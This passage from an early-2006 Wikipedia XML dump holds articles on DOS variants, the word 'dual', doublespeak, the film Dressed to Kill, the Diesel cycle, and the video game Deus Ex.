*The '''[[DOS/360]]''' initial/simple operating system for the [[International Business Machines|IBM]] [[System/360]] family of [[mainframe computer]]s (it later became DOS/VSE, and was eventually just called [[VSE]]).
*The '''DOS''' operating system for [[Digital Equipment Corporation|DEC]] [[PDP-11]] [[minicomputer]]s (this OS and the computers it ran on were nearly obsolete by the time PCs became common, with various descendants and other replacements).
*'''DOS''' for the [[IBM PC compatible]] platform {{main|DOS}}
:The best known family of operating systems named &quot;DOS&quot; is that running on [[IBM PC]]s type hardware using the Intel CPUs or their compatible cousins from other makers. Any DOS in this family is usually just referred to as ''[[DOS]]''. The original was licensed to IBM by [[Microsoft]], and marketed by them as ''&quot;[[PC-DOS]]&quot;''. When Microsoft licenced it to other hardware manufacturers, it was called ''[[MS-DOS]]''. [[Digital Research]] produced a compatible variant known as ''&quot;[[DR-DOS]]&quot;'', which was eventually taken over (after a buyout of Digital Research) by [[Novell]]. This became ''&quot;[[OpenDOS]]&quot;'' for a while after the relevant division of Novell was sold to [[Caldera International]], now called [[SCO Group|SCO]]. There is also a [[free software|free]] version named ''&quot;[[FreeDOS]]&quot;''.

==See also==
* [[Operating system]]
* [[DOS]]

[[Category:Disk operating systems|*Disk]]
[[Category:Operating systems]]</text>
    </revision>
  </page>
  <page>
    <title>Dual</title>
    <id>8477</id>
    <revision>
      <id>38686076</id>
      <timestamp>2006-02-07T23:43:44Z</timestamp>
      <contributor>
        <username>TheObtuseAngleOfDoom</username>
        <id>73429</id>
      </contributor>
      <minor />
      <comment>rm repeated sentence</comment>
      <text xml:space="preserve">{{wiktionary}}
A '''dual''' is a pair or a grouping of two. &quot;Dual&quot; is also the name for many things:

* ''[[Dual (brand)|Dual]]'' is a brand name for [[Hifi]] equipment, mostly known for vinyl record players.
* ''Dual!'' is the name of an [[anime]] series, [[Dual! Parallel Trouble Adventure]]
* In some [[language]]s, in addition to the singular and plural numbers there is also a [[dual grammatical number| ''dual'' number]], which is used when exactly two people or things are meant.
* A simultaneous application of a P-type and N-type [[fertilizer]]
* For several meanings of &quot;dual&quot; in mathematics, see [[duality (mathematics)]]
* A [[dual troll|dual]] or secondary account on a [[message board]] for a number of typically neferious puposes used for [[internet trolls|trolling]]
* [[Diffusing update algorithm|DUAL]] is a component of the [[routing]]-protocol [[EIGRP]] for route calculation

==See also==

* [[dual (electronics)]]
* [[duality]]
* [[dual wavelet]]

{{disambig}}

[[pl:Dual]]</text>
    </revision>
  </page>
  <page>
    <title>Doublespeak</title>
    <id>8478</id>
    <revision>
      <id>40153236</id>
      <timestamp>2006-02-18T15:34:53Z</timestamp>
      <contributor>
        <username>Dave-ros</username>
        <id>694024</id>
      </contributor>
      <minor />
      <comment>/* Examples of doublespeak in current usage */ an ironic real usage of &quot;On-the-spot fine&quot;</comment>
      <text xml:space="preserve">'''Doublespeak''' is language deliberately constructed to disguise or distort its actual [[meaning]], often resulting in a &quot;[[communication]] [[bypassing|bypass]]&quot;. Such language is associated with [[government|governmental]], [[military]], and [[corporate]] institutions. Doublespeak may be in the form of bald [[euphemism|euphemisms]] (&quot;downsizing&quot; for &quot;firing of many employees&quot;) or deliberately ambiguous phrases (&quot;[[wet work]]&quot; for &quot;[[assassination]]&quot;). Doublespeak is distinguished from other euphemisms through its deliberate usage by governmental, military, or corporate institutions.

==History==
The word ''doublespeak'' was coined in the early [[1950s]]. It is often incorrectly attributed to [[George Orwell]] and his [[dystopian]] novel ''[[Nineteen Eighty-Four]]''. The word actually never appears in that novel; Orwell did, however, coin '''[[newspeak]]''', '''[[oldspeak]]''', and '''[[doublethink]]''', and his novel made fashionable composite nouns with ''speak'' as the second element, which were previously unknown in [[English language|English]]. It was therefore just a matter of time before someone came up with doublespeak. Doublespeak may be considered, in Orwell's lexicography, as the B vocabulary of Newspeak, words &quot;deliberately constructed for political purposes: words, that is to say, which not only had in every case a political implication, but were intended to impose a desirable mental attitude upon the person using them.&quot;

==Examples of doublespeak in current usage==

Doublespeak is most reminiscent of Orwell's &quot;newspeak&quot; when it is used by a government agency to cover up something unpleasant. The government may find the need to talk about something that has negative connotations to large portions of the public, and avoids backlash by replacing the term with a new one that most people will not recognize as the same thing. Thus &quot;area denial munitions&quot; means &quot;landmines&quot;, &quot;physical persuasion&quot; means &quot;torture&quot;, and &quot;operational exhaustion&quot; means &quot;shell shock&quot;. A stray 2,000-pound bomb causes &quot;a significant emotional event for anyone within a square mile.&quot; Government doublespeak can also involve simple euphemisms, like &quot;wet work&quot; meaning &quot;assassination&quot;.

Doublespeak was very common in the [[Third Reich]]. Goebbels' ''Reichsministerium für Volksaufklärung und Propaganda'' (Ministry of the Reich for Public Enlightenment and [[Propaganda]]) coined thousands of new German words. Other examples include: &quot;[[Concentration camp]]&quot; (labor/death camp), ''[[Heim ins Reich]]'' (occupation of [[Austria]]), and particular new meanings for ''Volk'' (people) and ''Rasse'' (race).

A prominent example of doublespeak in the corporate world is the number of different phrases that all describe the action of &quot;firing lots of employees&quot;, usually obliquely. These phrases include &quot;layoffs&quot;, &quot;downsizing&quot;, &quot;right-sizing&quot;, &quot;headcount adjustment&quot;, &quot;RIF&quot; (reduction in force), and &quot;realignment.&quot; The [[Dilbert]] comic strip satirizes this in one strip in which an employee understands none of these terms and is unable to figure out that he has been fired. Corporate doublespeak can also involve downplaying problems, such as calling a fix for a [[software bug]] a &quot;reliability enhancement&quot;.

Police and court officers use jargon and terms of art that can be seen as doublespeak when they are used to cover up brutality or corruption. &quot;Fines on the spot&quot;, for example, are bribes taken during traffic stops (though ironically the [[Tony Blair|Blair]] administration of the [[Her Majesty's Government|British government]] used the same term genuinely to describe fines for anti-social behaviour). What police call &quot;aggressive enforcement&quot; may be called &quot;racial profiling&quot; by others. To &quot;pacify&quot; someone, euphemistically, is to subdue them by force. In some instances, such as the &quot;dirty 39th&quot; Precinct in Philadelphia, this has been the term of choice for excessive and unjustified force.

When illegal activity is routine, it often acquires its own specific jargon.  For example, the term ''&quot;black-bag operations&quot;'' was used by the [[FBI]] to describe illegal break-ins in the [[1970s]].  Mostly, such terms are an informal [[code]], similar to [[thieves' cant]], intended to be used and understood only by fellow-conspirators.

==See also==
*[[Code word (figure of speech)]]
*[[Euphemism]]
*[[Forked tongue]]
*[[Janus (mythology)|Janus head]]
*[[Neologism]]
*[[Newspeak]]
*[[Political correctness]]
*[[Propaganda]]
*[[Wardrobe malfunction]]

==References==
*[[William Lutz|Lutz, William]]. (1987). ''Doublespeak: From &quot;Revenue Enhancement&quot; to &quot;Terminal Living&quot;: How Government, Business, Advertisers, and Others Use Language to Deceive You''. New York: [[Harper &amp; Row]].

==External links==
{{wiktionary}}

*[http://www.sourcewatch.org/wiki.phtml?title=Doublespeak Doublespeak] from [[SourceWatch]]
*[http://latte.blogs.com/welcome/doublespeak/index.html Doublespeak on Latte] Examples of Doublespeak from the current administration
*[http://www.dt.org/html/Doublespeak.html Business Doublespeak] A short essay by William Lutz
*[http://www.cord.edu/faculty/sprunger/e315/dbltk.html Doublespeak Proverbs] Familiar proverbs humorously obfuscated

[[Category:Forms of English]]
[[ja:ダブルスピーク]]
[[zh:&amp;#38617;&amp;#35328;&amp;#24039;&amp;#35486;]]</text>
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  <page>
    <title>Dressed to Kill</title>
    <id>8481</id>
    <revision>
      <id>36779327</id>
      <timestamp>2006-01-26T12:02:52Z</timestamp>
      <contributor>
        <username>Adrian Buehlmann Bot</username>
        <id>723279</id>
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      <comment>[[WP:AWB|AWB assisted]] rm underline in template name</comment>
      <text xml:space="preserve">{{otheruses}}

{{Infobox Film |
  name           = Dressed to Kill |
  imdb_id        = 0080661 |
  image          = DressedtoKill.png |
  director       = [[Brian de Palma]] |
  writer         = [[Brian de Palma]] |
  starring       = [[Michael Caine]]&lt;br&gt;[[Angie Dickinson]]&lt;br&gt;[[Nancy Allen (actress)|Nancy Allen]]&lt;br&gt;[[Keith Gordon]]&lt;br&gt;[[Dennis Franz]] |
  producer       = [[George Litto]] |
  music          = [[Pino Donaggio]] |
  cinematography = [[Ralf D. Bode]] |
  editing        = [[Gerard B. Greenberg]] |
  distributor    = [[Filmways, Inc.|Filmways Pictures]] |
  released       = [[June 23]], [[1980]] |
  runtime        = 105 min. |
  language       = English |
  budget         = $6,500,000 (estimated) |
}}

'''''Dressed to Kill''''' is a [[1980 in film|1980]] [[horror film]] written and directed by [[Brian de Palma]]. It starred [[Michael Caine]], [[Angie Dickinson]] and [[Nancy Allen (actress)|Nancy Allen]]. The original music score is composed by [[Pino Donaggio]].

'''Tagline:''' ''Brian de Palma, master of the macabre, invites you to a showing of the latest fashion...in murder.''

==Plot summary==
{{spoiler}}
Sexually frustrated housewife and mother Kate Miller visits her New York City psychiatrist, Dr. Robert Elliott, to complain about her unfulfilling erotic life. When she the goes to meet her husband at a museum, she meets an unknown man whom she follows out to a taxicab. After an afternoon of satisfying sex, Kate discovers that the unknown man has a venereal disease, but that information becomes a moot point when a razor-wielding blonde woman slashes Kate to ribbons in the elevator of the man's building.

Blonde prostitute Liz Blake, who caught a glimpse of the murderer, becomes both the prime suspect and the killer's next target. With the police less than willing to believe her story, Liz joins forces with Kate's son Peter to get the psychopath themselves. The murderer has been finally revealed as Dr. Elliott, a transsexual, is arrested by the police and placed in a mental asylum. In a dream sequence, Dr. Elliott escapes from the asylum and slashes Liz in the throat in a bloody act of vengeance.

==Main cast==
* [[Michael Caine]]: Dr. Robert Elliott
* [[Angie Dickinson]]: Kate Miller
* [[Nancy Allen (actress)|Nancy Allen]]: Liz Blake
* [[Keith Gordon]]: Peter Miller
* [[Dennis Franz]]: Detective Marino
* [[David Margulies]]: Dr. Levy
* [[Ken Baker]]: Warren Lockman
* [[Susanna Clemm]]: Betty Luce
* [[Brandon Maggart]]: Cleveland Sam
* [[Amalie Collier]]: Cleaning Woman
* [[Mary Davenport]]: Woman in restaurant
* [[Anneka Di Lorenzo]]: Nurse
* [[Norman Evans]]: Ted
* [[Robbie L. McDermont]]: The man in shower
* [[Bill Randolph]]: Chase cabby
* [[Sean O'Rinn]]: Museum cabby
* [[Fred Weber]]: Mike Miller

==Technical datas==
* Title: ''Dressed to Kill''
* Director: [[Brian De Palma]]
* Scenarist: [[Brian De Palma]]
* Music: [[Pino Donaggio]]
* Release date: [[June 23]], [[1980]]
* [[United States|American]] movie
* Specifications: Panavision, 35 mm, [[:fr:Formats de projection|2:35.1]] (Technicolor, [[Dolby]] digital)
* Genre: Horror, Mystery, Suspense
* Running time: 105 minutes
* Rated: R

==Awards and Nominations==
*'''[[Saturn Award]]s'''
:'''Won:''' Best Actress ([[Angie Dickinson]])
:'''Nominated:''' Best Director ([[Brian De Palma]])
:'''Nominated:''' Best Horror Film
:'''Nominated:''' Best Music ([[Pino Donaggio]])
*'''[[Golden Globe Award]]'''
:'''Nominated:''' New Star of the Year ([[Nancy Allen (actress)|Nancy Allen]])
*'''[[Golden Raspberry Awards]]'''
:'''Nominated:''' [[Razzie Award for Worst Actor|Worst Actor]] ([[Michael Caine]])
:'''Nominated:''' [[Razzie Award for Worst Actress|Worst Actress]] ([[Nancy Allen (actress)|Nancy Allen]])
:'''Nominated:''' [[Razzie Award for Worst Director|Worst Director]] ([[Brian De Palma]])

==External links==
* {{imdb title|id=0080661|title=Dressed to Kill (1980)}}
* {{rotten-tomatoes|id=dressed_to_kill|title=Dressed to Kill (1980)}}


[[Category:1980 films]]
[[Category:American films]]
[[Category:Horror films]]
[[Category:Independent films]]
[[Category:Mystery films]]
[[Category:Thriller films]]
[[Category:Films directed by Brian De Palma]]

[[fr:Pulsions]]</text>
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  <page>
    <title>Diesel cycle</title>
    <id>8483</id>
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      <id>40903081</id>
      <timestamp>2006-02-23T20:04:02Z</timestamp>
      <contributor>
        <ip>165.189.91.148</ip>
      </contributor>
      <comment>/* Diesel cycle */ grammar</comment>
      <text xml:space="preserve">{{Template:Thermodynamic cycles}}
The '''Diesel cycle''' is the combustion process of a type of [[internal combustion engine]], in which the burning of the [[fuel]] is triggered by the heat generated in first compressing air in the piston cavity, into which is ''then'' injected the fuel - as opposed to it being ignited by a [[spark plug]], as combustion is in the [[Otto cycle]] (four-stroke/petrol) engine. Diesel engines ([[Heat engine]]s utilizing the Diesel cycle) are used in [[automobile|automobiles]], [[power generation]], [[diesel-electric]] [[locomotive]]s, and [[submarines]].

= Diesel vs Otto cycle =
==Diesel cycle ==
A [[Diesel_(disambiguation)|Diesel]] cycle engine draws air by itself, or with the aid of a supercharger, into the engine and compresses it. When the piston reaches approximately [[Top Dead Center]], the fuel is injected directly into the cylinder with a high-pressure fuel injector. The air is extremely hot at this point, and so the fuel ignites immediately; however, diesel fuel has a higher [[molecular weight]] than [[gasoline]], and so it vaporizes and burns more slowly. The piston is already moving down by the time the combustion starts, and combustion is usually not 100% finished when the piston reaches [[Bottom Dead Center]]. Because of this incomplete combustion, diesel engines actually lose some of the [[potential energy]] of the fuel.

Diesel cycle engines are nevertheless more efficient than Otto cycle engines overall, but only when power needs to be scaled. Most land vehicles almost never use the maximum rated power of the engine. Unless the vehicle is at [[Wide Open Throttle]] (when the pedal is 'floored') the engine is only producing a fraction of its rated power. Since diesel engines use the heating effect of compressing the air to ignite the fuel, a diesel engine can inject as little or as much fuel as the situation demands. It is important to note that Otto cycle engines can be more efficient than Diesel cycle engines, but only when the engine is running at or near its maximum power. This is dependent on the (Otto cycle) engine's compression ratio.

== Otto cycle ==
In the Otto cycle (4 stroke Gasoline engine) the fuel and air are pre-mixed before being drawn into the cylinder. The mixture is then compressed and ignited at the right moment with a [[spark plug]]. The fuel/air charge is [[ignition|ignited]] just before the [[piston]] reaches [[Top Dead Center]]. Gasoline burns more quickly than diesel fuel, and since the combustion cycle starts earlier (15 degrees before Top Dead Center is common), the entire combustion process is usually complete by the time the piston reachs [[Bottom Dead Center]]. It is critical for this type of engine to have a [[Knock resistance|knock resistant]] fuel.

Otto cycle engines need a minimum amount of fuel to resist pre-combustion in order to run properly. When fuel is injected into this type of engine it has a cooling effect on the inside of the cylinder. The more fuel injected, the more it cools the cylinder, so that the fuel/air charge does not heat up too much. If too little fuel is injected along with the air, and then compressed, the fuel/air charge will overheat and pre-combust, making the engine knock. This is why gasoline engines have a minimum amount of fuel that must be injected. Efficiency suffers as a result, but only when the engine is not at wide open throttle.

= General Information =
The diesel engine has the lowest [[specific fuel consumption]] of any large internal combustion engine, 0.26 lb/hp.h (0.16 kg/kWh) for very large marine engines. In fact, two-stroke diesels with high pressure forced induction, particularly [[turbocharging]], make up a large percentage of the very largest diesel engines.

In [[North America]], diesel engines are primarily used in large trucks, where the low-stress, high-efficiency cycle leads to much longer engine life and lower operational costs. These advantages also make the diesel engine ideal for use in the heavy-haul railroad environment. However, cars continue to use [[gasoline]], primarily due to consumer desire for &quot;peppy&quot; cars with a wider range of RPM. In [[Europe]], the use of diesel engines in passenger vehicles is far more common. There is considerable interest today in [[hybrid car]]s using diesel engines for better efficiency, with an electric motor added to provide the &quot;pep&quot;. Current models seem to suggest that cars with all the performance of modern designs can deliver over '''100''' mpg, ''on the less expensive fuel''.

Although Diesel engines are more efficient when throttled down, they are not suitable for most aircraft. The higher compression ratios of the Diesel cycle demand a much stronger block, head, and almost all moving parts. These stronger parts add a lot of weight - or a lot of expense, if lighter alloys are used. Otto cycle engines are cheaper to build for these reasons, and others. For the same displacement of the engine, an Otto cycle will produce more actual power than a Diesel cycle can, because the fuel burns at a much faster rate, allowing more power strokes per minute (higher RPM) than diesels can offer. This means that less fuel has to be carried. Additionally, commercial aircraft are usually run at preset limits (slightly less than Wide Open Throttle), so that Otto cycle engines used in aircraft do not suffer anywhere near the efficiency penalties that (stop-and-go) land vehicles do. Jet engines are preferred for commercial aviation because they are more efficient - and more powerful - than either type of engine discussed here.

Heavy equipment, such as that used in mining and construction, almost always uses diesel engines.

Diesel engines are also used in conventional [[submarine]]s.  In these submarines, the diesel engine is run when the submarine is on the surface, which charges the [[battery (electricity)|batteries]] that power the submarine when it is submerged. Most all marine vessels over a certain size are powered by diesel engines, as they allow greater range at lower cost, and are more effective at developing torque at lower speed than gas-powered engines.

== Other internal combustion engines without spark plugs ==
Many [[Model airplane]]s use very simple &quot;glow&quot; and &quot;diesel&quot; engines.  Glow engines use [[glow plug]]s.  &quot;Diesel&quot; model airplane engines have variable compression ratios.  Both types depend on special fuels (easily obtainable in such limited quantities) for their ignition timing.

Some 19th century or earlier experimental engines used external flames, exposed by valves, for ignition, but this becomes less attractive with increasing compression.  (It was not until [[Nicolas Léonard Sadi Carnot]] that the thermodynamic value of compression was known.)  An historical implication of this is that the diesel engine would eventually have been invented without the aid of electricity.

[[Category:Thermodynamic cycles]]
[[es:Ciclo del diésel]]
[[it:Ciclo Diesel]]
[[ja:&amp;#12487;&amp;#12451;&amp;#12540;&amp;#12476;&amp;#12523;&amp;#12469;&amp;#12452;&amp;#12463;&amp;#12523;]]</text>
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  <page>
    <title>Deus Ex</title>
    <id>8484</id>
    <revision>
      <id>42140943</id>
      <timestamp>2006-03-04T02:18:06Z</timestamp>
      <contributor>
        <ip>151.199.19.97</ip>
      </contributor>
      <comment>/* Modding sites */</comment>
      <text xml:space="preserve">{{Infobox CVG| title = Deus Ex
| image = [[Image:Deus Ex Box.jpeg|250px|Box shot of the PC version]]
| developer = [[Ion Storm Inc.]]
| publisher = [[Eidos Interactive]]
| designer = [[Warren Spector]], [[Harvey Smith]]
| engine = [[Unreal engine#Unreal Engine 1|Unreal Engine 1]]
| released = United States &lt;li&gt; [[June 22]], [[2000]] (PC) &lt;li&gt; [[July 7]], [[2000]] (Mac OS)&lt;li&gt; [[May 9]], [[2001]] (PC, Game Of The Year edition) &lt;li&gt; [[March 25]], [[2002]] (PS2)
| genre = [[First-person shooter]]&lt;br&gt;[[Computer role-playing game]]
| modes = [[Single player]], [[multiplayer]]
| ratings = [[ESRB]]: M (Mature)&lt;br&gt;[[PEGI]]: 16+ &lt;br&gt;[[ELSPA]]: 15+
| platforms = [[Windows]] &lt;br&gt; [[Mac OS]] &lt;br&gt;[[PlayStation 2]]
}}
'''''Deus Ex''''' ('''''DX''''') is a [[computer role-playing game]] developed by [[Ion Storm Inc.]] and published by [[Eidos Interactive]] in [[2000]]. Set in a [[dystopia]]n world during the [[2050s]], with a [[cyberpunk]] story and setting elements, the game combines the [[action game|action]] elements of a [[first-person shooter]] with the [[character development]] and interaction of a role playing game. 

It won much acclaim upon its release and was (and still is) considered by many to be a pioneering title, receiving praise for its depth and variety.

The game sold quite well during its initial run and remains among the top selling [[Computer role-playing game|RPG]]'s. As of [[February 2006]] it is #34 in [[Amazon.com]]'s top selling PC RPGs [http://www.amazon.com/exec/obidos/tg/new-for-you/top-sellers/-/videogames/289966/videogames/0/0/2], #12 in top selling Mac RPGs [http://www.amazon.com/exec/obidos/tg/new-for-you/top-sellers/-/videogames/10988221] , and also appears in [[CNET]]'s list of most popular PC role playing games [http://shopper.cnet.com/4014-9702_9-30984301.html?pbrpt=4541]. 


== Etymology ==
The game's name is derived from the [[Latin]] [[expression]] ''[[deus ex machina]]'' (pronounced DAY-us EKS MAH-ki-nah), literally meaning &quot;''god from the machine''&quot;, i.e. &quot;''a person or event that provides a sudden, unexpected solution to a story''&quot; (referencing the practice in Greek drama of using a machine rig to lower an actor playing a deity down to a stage, quickly resolving a drama). These most obviously refer to the game's [[protagonist]] [[JC Denton]] and the cybernetic themes of the game. Also, [[Warren Spector]] (producer of ''[[System Shock]]''), one of the game's designers, has stated the name was a dig at the typical [[Computer and video games|video game]] plot, which tends to be laden with &quot;deus ex machina&quot; artifices and other poor script writing techniques.
[[Image:Deus-Ex-logo.png|thumb|50px|The '''Deus Ex''' logo]]
Some fans have speculated that the protagonist's name, JC Denton, is derived from the initials of [[Jesus Christ]] the savior sent 'from God' in [[Christian]] religions, leading some to believe that instead of referring to ''deus ex machina'' the title is actually meant to be translated literally as 'from God.'  The names of several main characters reinforce this interpretation. Paul Denton, for example, uses the name of [[Paul of Tarsus]], an early church leader during the formative years of the Christian church. However, according to Sheldon Pacotti, lead [[writer]] on the game, the name &quot;JC&quot; was merely chosen for its [[unisex]] qualities when the [[Software developer|developers]] were still planning to let the player choose the gender of the main character.

== Overview ==
{{spoiler}}

[[Image:Deus ex - in game screenshot.jpg|thumb|240px|An in-game dialog sequence.]]

The game is built based on a modified [[Unreal engine]] and ''Deus Ex'' is seen as combining a variety of gaming genres. The game featured environments often drawn from real locations, including a severely damaged [[Statue of Liberty]], [[Hell's Kitchen]] in [[New York City]], and the [[Wan Chai District]] in [[Hong Kong]], among others.  It was also notable for the complex tactical possibilities, where players could choose many different ways of achieving evolving goals, including stealth (akin to ''[[Thief (computer game)|Thief]]''), long-range sniping, all-out combat with various heavy weapons, character interaction, bypassing devices, computer hacking and use of objects in the environment. 

This level of freedom required levels, characters and puzzles to be designed with an enormous level of redundancy - a single play-through of the game will miss hundreds of lines of dialogue, alternate routes and large sections of the environment. For this reason few games have managed - or even tried - to create a similar experience. Its uniquely liberal nature and emergent gameplay have earned it a large cult following who see it as a first step into a new level of interactive experience.

Deus Ex's plot drew together several current [[conspiracy theory|conspiracy theories]] into a narrative with characters having a deeper development than those of most FPS games. It also presented a philosophical dilemma in its conclusion where the player is given a world-altering choice, of which none of the options are broadcast in-game as the &quot;right&quot; choice.

The game's level of detail astounded the gaming world. As an example, one of Deus Ex's central topics is [[nanotechnology]], the main character JC Denton is augmented by symbiotic microscopic machines called [[nanite]]s and the game contains an impressive amount of literature on nanotechnology and defines its science quite accurately. The game contains many allusions to literature, both classical (e.g., story of Daedalus/Icarus) and modern ([[Neal Stephenson]]'s ''[[The Diamond Age]]'' and ''[[Snow Crash]]'', [[G.K. Chesterton]]'s ''[[The Man Who Was Thursday]]'', [[Olaf Stapledon]]'s ''[[Last and First Men]]'', and the [[fictional book]] titled ''Jacob's Shadow''). These details encourage the player to replay the game to discover and learn more about the world of ''Deus Ex''.

The game was hailed by many critics and users as a significant step towards a &quot;reality simulation&quot;, as one of the first games to truly pioneer the effect of moral choices, and one of the only games in existence based on violence to offer a non-violent alternative; killing is not a necessary part of ''Deus Ex''. In fact, only one character must be killed in order to progress the game, and it is possible to accomplish that without using any offensive weapons.

The game did not originally ship with multiplayer support. Later versions provided multiplayer, as well as various game fixes. Deus Ex: Game of the Year Edition, as well as containing all current game updates and a [[Software development kit]], included a separate soundtrack CD and a page from a fictional newspaper entitled ''The Midnight Sun'' recounting recent events in the game's world. However, some distributions of the GOTY version do not include the soundtrack CD and only have a [[PDF]] version of the newspaper page.

A version was also released for the [[PlayStation 2]], named ''Deus Ex: The Conspiracy'', was released on [[March 25]], [[2002]], featuring improved character graphics and [[motion capture]]d models. Some levels were changed and chopped down into smaller hubs due to the PS2's memory limitations.

[[Image:Inventory.gif|thumb|240px|The character inventory.]]

A sequel, ''[[Deus Ex: Invisible War]]'', was released in the [[United States]] on [[December 3]], [[2003]], and then in [[Europe]] in early [[2004]] for both the [[IBM PC clone|PC]] and the [[Xbox]]. Plans for a ''Deus Ex'' movie were in the works, however the film is now listed on [[The Internet Movie Database|IMDb]] as &quot;cancelled&quot;.

Despite its age and the release of ''Deus Ex: Invisible War'' the ''Deus Ex'' community is still very active. There are a significant number of websites which offer news, information, and resources to ''Deus Ex'' players old and new alike. Several groups of fans have also created and released modifications for ''Deus Ex'', including ''The Cassandra Project'', ''Zodiac'', ''RedSun 2020'', ''Hotel Carone'', ''Burden of 80 Proof'', and ''Shifter'', which offer new plots, characters, weapons and more. Other modifications are still in development, such as ''The Nameless Mod'', ''Deus Ex 2027'', ''UNATCO Born'', ''Chronos'' and ''The Novosibirsk Conspiracy'', and are expected to release sometime in the near future. There are also various attempts by fans of the game to update the graphics using new higher resolution textures and models. The two most influential projects are called Project HDTP and ''DeusEx:Reborn''. The Mac community has been very vocal to Aspyr (the ones who ported it to Mac) and have very strong desires for a Mac OS X patch of the game, as it only works on Mac OS 9 currently.

The music for Deus Ex was composed by [[Alexander Brandon]], [[Dan Gardopee]], [[Michiel van den Bos]] and [[Reeves Gabrels]].

== Critical acclaim ==
The game received numerous positive reviews. It won a number of awards and received many nominations, including [[British Academy of Film and Television Arts]] Game of the year [http://videogames.yahoo.com/newsarticle?eid=357210&amp;page=0], [[IGN]] Game of the year, and many Best Story awards. 

The game has appeared in a number of [[Greatest games of all times]] lists and [[hall of fame]] features. It maintains a hold in newly created greatest games lists. 

===Awards===  
*[[GameSpy]] - Game of the year 2000

*[[IGN]]
**Best story (Both editors' choice and readers' choice)
**Game of the year (Both editors' choice and readers' choice)

*[[British Academy of Film and Television Arts]] - Game of the year

*[[Game Developers Choice Awards]] 2000
**Excellence in Game Design
**Game Innovation Spotlight

*[[Interactive Achievement Awards]] 2000
**Computer Innovation
**Computer Action / Adventure

*[[FiringSquad]] - Best Games of 2000 List

*[[The Adrenaline Vault]] - Featured Games for 2000

*[[Gaming Age]] - Best [[FPS]] of the year

*Other awards, including numerous editors choice awards

===Greatest games of all time lists===
* #21 in IGN's 2005 List of 100 Greatest games of all time [http://top100.ign.com/2005/021-030.html].
* #40 in IGN's 2003 List of 100 Greatest games of all time [http://top100.ign.com/2003/31-40.html]
* #18 in GameSpy's Top 50 Games of All Time [http://archive.gamespy.com/articles/july01/top502ase/]
* #67 in GameFAQ's Top 100 Games of All Time [http://www.gamefaqs.com/features/top10/top10_100.html]
* The GameSpy Hall of Fame [http://www.gamespy.com/articles/488/488681p1.html]

== Dating ==
The game is unclear as to what year exactly ''Deus Ex'' takes place in. A public terminal news bulletin points towards [[2052]], but in [[Area 51]] nearing the end of the game, a datacube reveals JC's inception date to be in [[2054]], with another clone being created in [[2055]]. The most commonly accepted date, however, is still 2052.

The question of Deus Ex's timeframe was cleared up by Deus Ex: Invisible War, in which a character refers to an event from the previous game as having happened in 2052.

== Real world parallels ==
Although the story of ''Deus Ex'' is based on real world themes and events, a few fictional elements of the game world have seemingly spilled over into reality since the game's release in 2000.

During sections of the game where the New York skyline is visible in the background, the two towers of the [[World Trade Center]] are noticeably missing. Harvey Smith, one of the game's designers, explains that due to texture memory limitations, the portion of the skyline with the twin towers had to be left out, and the other half mirrored in place of it.  According to Smith, during the game's development, the developers justified the lack of the towers by stating that terrorists had destroyed the World Trade Center earlier in the game's storyline: &quot;''We just said that the towers had been destroyed too. And this was way before [[September 11, 2001 attacks|9-11]]. Years. That's kind of freaky.''&quot; [http://pc.ign.com/articles/386/386515p1.html]

Some fans have also noted similarities between the anti-terrorist movement in the game, spurred by the Statue of Liberty bombing, and the post-9/11 &quot;[[War on Terrorism|war on terror]]&quot; in the real world. The sequel actually shipped with the tagline &quot;The future war on terror&quot; on the box art front.

Other examples include [[2005 civil unrest in France|rioting in Paris]] and the similarity of the [[Gray Death]] epidemic to the possible [[H5N1|bird flu]] pandemic. Strangely also, there is a mention of 'Century Flu' within various newspapers in the game.

Several plot elements involve real-world conspiracy theories about [[ECHELON]], the [[Federal Emergency Management Agency]], and the alleged [[Majestic-12]] and [[Roswell UFO incident]].

== Trivia ==
* Because the game has such gameplay freedom it is possible to finish the game without killing anyone, though in one case, the method required to do this may be considered exploitation of a [[glitch]].
* Some of the robots in the game were inspired by the ED-209 robot from the movie [[RoboCop]].
* The Plasma Rifle is a copy of the rifle used in the movie ''[[Darkman]]''.
* [[Game designer]] [[Warren Spector]] didn't like the opening music. He was planning to tell the composer to compose something else. But after he couldn't get the tune out of his head, he was convinced to leave it as it was.
* The entire game takes place during night time.

==See Also==
* [[Deus Ex: Invisible War]]

== External links ==
{{wikiquote}}

=== Official Pages === 
*[http://www.eidosinteractive.com/games/info.html?gmid=50 Deus Ex] game page at the Official [[Eidos]] homepage

=== Fan Sites === 
*[http://www.planetdeusex.com/ Planet Deus Ex] - Fan Community Website
*[http://www.deusexgaming.com/ Deus Ex Gaming] 
*[http://www.deusex-online.com/ Deus Ex Online]
*[http://www.deusex-machina.com/ Deus Ex Machina]
*[http://www.dxalpha.com/ Alpha forum] - One of the biggest forums of the community

=== Modding sites === 
*[http://www.planetdeusex.com/chronos/ Chronos] - A single player modification utilizing bullet time.
*[http://www.dxediting.com/index.php DXEditing] - Fan Modification News Portal
*[http://www.planetdeusex.ru/2027 Deus Ex: 2027] - A single player modification 
*[http://offtopicproductions.com/hdtp/ Project HDTP] - High Definition Texture Project
*[http://dxr.deusexgaming.com/ Deus Ex: Reborn] - Deus Ex conversion to UT2004
*[http://redsun2020.deusexgaming.com/ 赤い太陽 2020年 (REDSUN 2020)] - A Deus Ex Mod
*[http://tnm.offtopicproductions.com/ The Nameless Mod] - A Deus Ex Mod
*[http://unatcoborn.deusexgaming.com/ UNATCO Born] - A Deus Ex Mod

=== Story Related ===
*[http://www.gamespy.com/articles/april02/dxbible/ The Deus Ex &quot;Continuity Bible&quot;] from [http://www.gamespy.com gamespy.com]
*[http://nuwen.net/dx.shtml nuwen.net - Deus Ex] - Includes in-game text (such as e-mails, books, and data cubes)
*[http://www.forumplanet.com/planetdeusex/topic.asp?fid=2755&amp;tid=1241827 Timeline of events in the game]

=== Other resources ===
*{{imdb title|id=0286585|title=Deus Ex}}
*{{moby game|id=/windows/deus-ex|name=''Deus Ex''}}
*{{musicbrainz album|id=948ae31a-fe81-4db0-8a7f-9fa37e5b9db4|name=Deus Ex}}
*[http://home.kc.rr.com/bobfahey/deus_ex.htm Deus Ex Information Page]
*[http://www.deusex-machina.com/articles/makingofdeusex.asp Behind the Scenes Look in the Making of Deus Ex]
*[http://www.gamefaqs.com/computer/doswin/game/26151.html Game FAQ guides]
*[http://www.fileplanet.com/31653/0/section/Deus-Ex Deus Ex on Fileplanet] - Deus Ex related files (patches, mods, etc.)
*[http://www.matthewmiller.net/html/games/Deus_Ex_links.html List of links related to ''Deus Ex'']

{{Deus Ex}}

[[Category:2000 computer and video games]]
